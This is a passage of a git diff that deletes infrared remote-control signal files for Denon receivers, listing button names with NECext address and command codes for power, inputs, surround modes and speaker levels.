02 00 00 00 -command: 74 00 00 00 -# -name: INPUT_MODE_DTS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 75 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 79 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7A 00 00 00 -# -name: ZONE2_POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7B 00 00 00 -# -name: ZONE2_POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7C 00 00 00 -# -name: ZONE3_POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7D 00 00 00 -# -name: ZONE3_POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7E 00 00 00 -# -name: ALL_POWER_TOGGLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C1 00 00 00 -# -name: FL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C2 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C3 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: INPUT_TUNER_/_HD_RADIO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C6 00 00 00 -# -name: FL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C7 00 00 00 -# -name: INPUT_CABLE/SAT/DBS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: INPUT_TV/DBS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: INPUT_BDP/HDP/DVP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: FR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CB 00 00 00 -# -name: INPUT_V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: INPUT_GAME/VCR1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: INPUT_MEDIA_PLAYER/DVR1/VCR2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: INPUT_DVR2/VCR3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CF 00 00 00 -# -name: FR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D0 00 00 00 -# -name: AMP_DAT/TAPE_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D1 00 00 00 -# -name: INPUT_CDR/DAT/TAPE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: INPUT_TAPE2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: CINEMA_EQ_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D5 00 00 00 -# -name: SR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D6 00 00 00 -# -name: SR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D7 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D8 00 00 00 -# -name: CINEMA_EQ_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D9 00 00 00 -# -name: AMP_VIDEO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DA 00 00 00 -# -name: MODE_MULTI_CHANNEL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DB 00 00 00 -# -name: INPUT_MODE_ANALOG -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DC 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DD 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DE 00 00 00 -# -name: INFO_/_OSD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: ENTER_/_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E0 00 00 00 -# -name: ALL_POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E1 00 00 00 -# -name: ALL_POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E2 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E3 00 00 00 -# -name: SURROUND_MODE_STANDARD_(DOLBY/DTS) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: SW_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E5 00 00 00 -# -name: SURROUND_MODE_DSP_SIMULATION -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E6 00 00 00 -# -name: SB/SBL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E7 00 00 00 -# -name: AMP_DELAY_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E8 00 00 00 -# -name: AMP_DELAY_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E9 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EA 00 00 00 -# -name: SB/SBL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EB 00 00 00 -# -name: SUBWOOFER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EC 00 00 00 -# -name: SPEAKER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: ED 00 00 00 -# -name: SP-A,_FRONT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EE 00 00 00 -# -name: SP-B,_FRONT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EF 00 00 00 -# -name: MUTING_/_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 -# -name: SL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F3 00 00 00 -# -name: SL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F4 00 00 00 -# -name: CENTER_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F5 00 00 00 -# -name: CENTER_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F6 00 00 00 -# -name: SBR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F7 00 00 00 -# -name: SBR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F8 00 00 00 -# -name: TONE_CONTROL_OFF_/_DEFEAT_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F9 00 00 00 -# -name: TONE_CONTROL_ON_/_DEFEAT_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FA 00 00 00 -# -name: SB_SPEAKER_MATRIX_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FB 00 00 00 -# -name: SB_SPEAKER_MATRIX_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FC 00 00 00 -# -name: SB_SPEAKER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FD 00 00 00 -# -name: AMP_K-O -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir deleted file mode 100644 index 610d68da6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: IPOD_PLAY/PAUSE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 01 00 00 00 -# -name: IPOD_VOLUME_UP -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 02 00 00 00 -# -name: IPOD_VOLUME_DOWN -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 03 00 00 00 -# -name: IPOD_SKIP_PLUS -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 04 00 00 00 -# -name: IPOD_SKIP_MINUS -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 05 00 00 00 -# -name: IPOD_STOP -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 08 00 00 00 -# -name: IPOD_PAUSE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 0A 00 00 00 -# -name: IPOD_REPEAT -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 10 00 00 00 -# -name: IPOD_SHUFFLE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 11 00 00 00 -# -name: IPOD_SEARCH_PLUS -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 15 00 00 00 -# -name: IPOD_SEARCH_MINUS -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 16 00 00 00 -# -name: IPOD_TOP_MENU -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 17 00 00 00 -# -name: IPOD_ENTER -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 18 00 00 00 -# -name: IPOD_CURSOR/ARROW_UP -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 1B 00 00 00 -# -name: IPOD_CURSOR/ARROW_DOWN -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 1C 00 00 00 -# -name: IPOD_CURSOR/ARROW_LEFT -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 1D 00 00 00 -# -name: IPOD_CURSOR/ARROW_RIGHT -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 1E 00 00 00 -# -name: IPOD_STATUS_REQUEST -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 1F 00 00 00 -# -name: IPOD_PAGE_SEARCH -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 22 00 00 00 -# -name: IPOD_RETURN -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 23 00 00 00 -# -name: IPOD_MODE_TOGGLE_BROWSE/REMOTE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 2D 00 00 00 -# -name: IPOD_MODE_BROWSE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 2D 00 00 00 -# -name: IPOD_MODE_REMOTE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 2F 00 00 00 -# -name: IPOD_SHUFFLE_SONGS -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 40 00 00 00 -# -name: IPOD_SHUFFLE_ALBUM -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 41 00 00 00 -# -name: IPOD_SHUFFLE_OFF -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 42 00 00 00 -# -name: IPOD_REPEAT_ONE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 43 00 00 00 -# -name: IPOD_REPEAT_ALL -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 44 00 00 00 -# -name: IPOD_REPEAT_OFF -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 45 00 00 00 -# -name: POWER_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 47 00 00 00 -# -name: TOGGLE_FAVORITES/ALL_MUSIC -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 48 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 49 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 4A 00 00 00 -# -name: INTERNET_RADIO_DIRECT -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 4B 00 00 00 -# -name: IPOD_DIRECT -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 4C 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 4D 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 50 00 00 00 -# -name: TV_SIGNAL_NTSC -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 51 00 00 00 -# -name: TV_SIGNAL_PAL -type: parsed -protocol: NECext -address: 02 03 00 00 -command: 52 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir deleted file mode 100644 index 17c8f5aa7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_DECK_SELECT_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: TAPE_DECK_PLAY_REVERSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: TAPE_DECK_FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: TAPE_DECK_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: TAPE_DECK_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TAPE_DECK_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: TAPE_DECK_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: TAPE_DECK_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 -# -name: SURROUND_MODE_DSP_WIDE_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 81 00 00 00 -# -name: SURROUND_MODE_DSP_SUPER_STADIUM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SURROUND_MODE_DSP_ROCK_ARENA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: SURROUND_MODE_DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 84 00 00 00 -# -name: SURROUND_MODE_DSP_CLASSIC_CONCERT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: SURROUND_MODE_DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 86 00 00 00 -# -name: SURROUND_MODE_DSP_MATRIX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 87 00 00 00 -# -name: SURROUND_MODE_DSP_VIDEO_GAME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 88 00 00 00 -# -name: SURROUND_MODE_DSP_VIRTUAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 89 00 00 00 -# -name: SURROUND_MODE_THX_ULTRA2_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8A 00 00 00 -# -name: SURROUND_MODE_THX_MUSIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8B 00 00 00 -# -name: SURROUND_MODE_THX_EX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: SURROUND_MODE_DTS_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8D 00 00 00 -# -name: SURROUND_MODE_DTS_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: SURROUND_MODE_DOLBY_PL_II_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: SURROUND_MODE_DOLBY_PL_II_MUSIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 90 00 00 00 -# -name: SURROUND_MODE_DOLBY_PL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 91 00 00 00 -# -name: SURROUND_MODE_DTS_ES_MATRIX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 93 00 00 00 -# -name: SURROUND_MODE_DOLBY_DIGITAL_EX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 94 00 00 00 -# -name: SURROUND_MODE_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: SURROUND_MODE_MUSIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: SURROUND_MODE_GAME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 97 00 00 00 -# -name: MODE_NIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: ROOM_EQ_/_MULTEQ_TOGGLE_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9D 00 00 00 -# -name: INPUT_MODE_/_HDMI_MONITOR_AUTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: INPUT_MODE_PCM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B4 00 00 00 -# -name: INPUT_MODE_DTS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B5 00 00 00 -# -name: INPUT_MODE_RF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B6 00 00 00 -# -name: INPUT_MODE_EXT._IN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B7 00 00 00 -# -name: INPUT_MODE_EXT._IN_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B8 00 00 00 -# -name: MAIN_ZONE_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B9 00 00 00 -# -name: MAIN_ZONE_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 -# -name: MULTI_ZONE_2_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BB 00 00 00 -# -name: MULTI_ZONE_2_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BC 00 00 00 -# -name: DAT_DECK_SEARCH_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: DAT_DECK_SEARCH_BACKWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D9 00 00 00 -# -name: DAT_DECK_FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DA 00 00 00 -# -name: DAT_DECK_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DB 00 00 00 -# -name: DAT_DECK_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DC 00 00 00 -# -name: DAT_DECK_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DD 00 00 00 -# -name: DAT_DECK_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DE 00 00 00 -# -name: DAT_DECK_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir deleted file mode 100644 index 9ebea867b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir +++ /dev/null @@ -1,1166 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 02 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 03 00 00 00 -# -name: 12V_TRIGGER_1_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 0C 00 00 00 -# -name: 12V_TRIGGER_1_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 0D 00 00 00 -# -name: 12V_TRIGGER_2_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 0E 00 00 00 -# -name: 12V_TRIGGER_2_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 0F 00 00 00 -# -name: RETURN_/_BACK -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 22 00 00 00 -# -name: GUI_MENU_/_SETUP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 23 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 24 00 00 00 -# -name: TUNER_BAND_TOGGLE_AM/FM -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 98 00 00 00 -# -name: TUNER_BAND_FM -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 99 00 00 00 -# -name: TUNER_BAND_AM -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 9A 00 00 00 -# -name: TUNER_BAND_XM -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 9B 00 00 00 -# -name: INTERNET_RADIO_FAVORITE_1 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: F2 00 00 00 -# -name: INTERNET_RADIO_FAVORITE_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: F3 00 00 00 -# -name: INTERNET_RADIO_FAVORITE_3 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: F4 00 00 00 -# -name: INTERNET_RADIO_FAVORITE_4 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: F5 00 00 00 -# -name: QUICK_SELECT_/_USER_PRESET_1 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 124 00 00 00 -# -name: QUICK_SELECT_/_USER_PRESET_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 125 00 00 00 -# -name: QUICK_SELECT_/_USER_PRESET_3 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 126 00 00 00 -# -name: QUICK_SELECT_/_USER_PRESET_4 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 127 00 00 00 -# -name: QUICK_SELECT_/_USER_PRESET_5 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 128 00 00 00 -# -name: SURROUND_MODE_DIRECT_/_STEREO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 131 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 133 00 00 00 -# -name: SURROUND_MODE_STANDARD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 134 00 00 00 -# -name: SURROUND_MODE_AUTO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 144 00 00 00 -# -name: SURROUND_MODE_AURO_3D_PREVIOUS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 14C 00 00 00 -# -name: SURROUND_MODE_DSP_SIMULATION -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 150 00 00 00 -# -name: SURROUND_MODE_MULTI_CHANNEL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 151 00 00 00 -# -name: SURROUND_MODE_NEURAL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 15B 00 00 00 -# -name: SURROUND_MODE_DOLBY_ATMOS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 15C 00 00 00 -# -name: SURROUND_MODE_AURO_3D_NEXT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 15D 00 00 00 -# -name: INPUT_MODE_HDMI -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 165 00 00 00 -# -name: INPUT_MODE_DIGITAL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 167 00 00 00 -# -name: INPUT_MODE_DECODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 16C 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 170 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 171 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 172 00 00 00 -# -name: CHANNEL_LEVEL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 17A 00 00 00 -# -name: SUBWOOFER_2_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 19A 00 00 00 -# -name: SUBWOOFER_2_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 19B 00 00 00 -# -name: DOLBY_TFL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A1 00 00 00 -# -name: DOLBY_TFL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A2 00 00 00 -# -name: DOLBY_TFR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A3 00 00 00 -# -name: DOLBY_TFR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A4 00 00 00 -# -name: DOLBY_TML_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A5 00 00 00 -# -name: DOLBY_TML_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A6 00 00 00 -# -name: DOLBY_TMR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A7 00 00 00 -# -name: DOLBY_TMR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A8 00 00 00 -# -name: DOLBY_TRL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1A9 00 00 00 -# -name: DOLBY_TRL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AA 00 00 00 -# -name: DOLBY_TRR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AB 00 00 00 -# -name: DOLBY_TRR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AC 00 00 00 -# -name: DOLBY_RHL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AD 00 00 00 -# -name: DOLBY_RHL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AE 00 00 00 -# -name: DOLBY_RHR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1AF 00 00 00 -# -name: DOLBY_RHR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B0 00 00 00 -# -name: DOLBY_LF_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B1 00 00 00 -# -name: DOLBY_LF_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B2 00 00 00 -# -name: DOLBY_RF_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B3 00 00 00 -# -name: DOLBY_RF_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B4 00 00 00 -# -name: DOLBY_SL_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B5 00 00 00 -# -name: DOLBY_SL_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B6 00 00 00 -# -name: DOLBY_SR_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B7 00 00 00 -# -name: DOLBY_SR_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B8 00 00 00 -# -name: DOLBY_LB_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1B9 00 00 00 -# -name: DOLBY_LB_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1BA 00 00 00 -# -name: DOLBY_RB_SPEAKER_LEVEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1BB 00 00 00 -# -name: DOLBY_RB_SPEAKER_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1BC 00 00 00 -# -name: LFC_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1BD 00 00 00 -# -name: LFC_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1BE 00 00 00 -# -name: LFC_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 1C8 00 00 00 -# -name: DSX_SELECT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 211 00 00 00 -# -name: DYNAMIC_VOLUME_TOGGLE_MODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 221 00 00 00 -# -name: DYNAMIC_EQ_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 223 00 00 00 -# -name: RESTORER_MODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 224 00 00 00 -# -name: DYNAMIC_EQ/VOLUME_TOGGLE_MODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 225 00 00 00 -# -name: FRONT_SPEAKER_A -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 226 00 00 00 -# -name: FRONT_SPEAKER_B -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 228 00 00 00 -# -name: FRONT_SPEAKER_A+B -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 22A 00 00 00 -# -name: RESTORER_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 22C 00 00 00 -# -name: RESTORER_MODE_1 -type: parsed 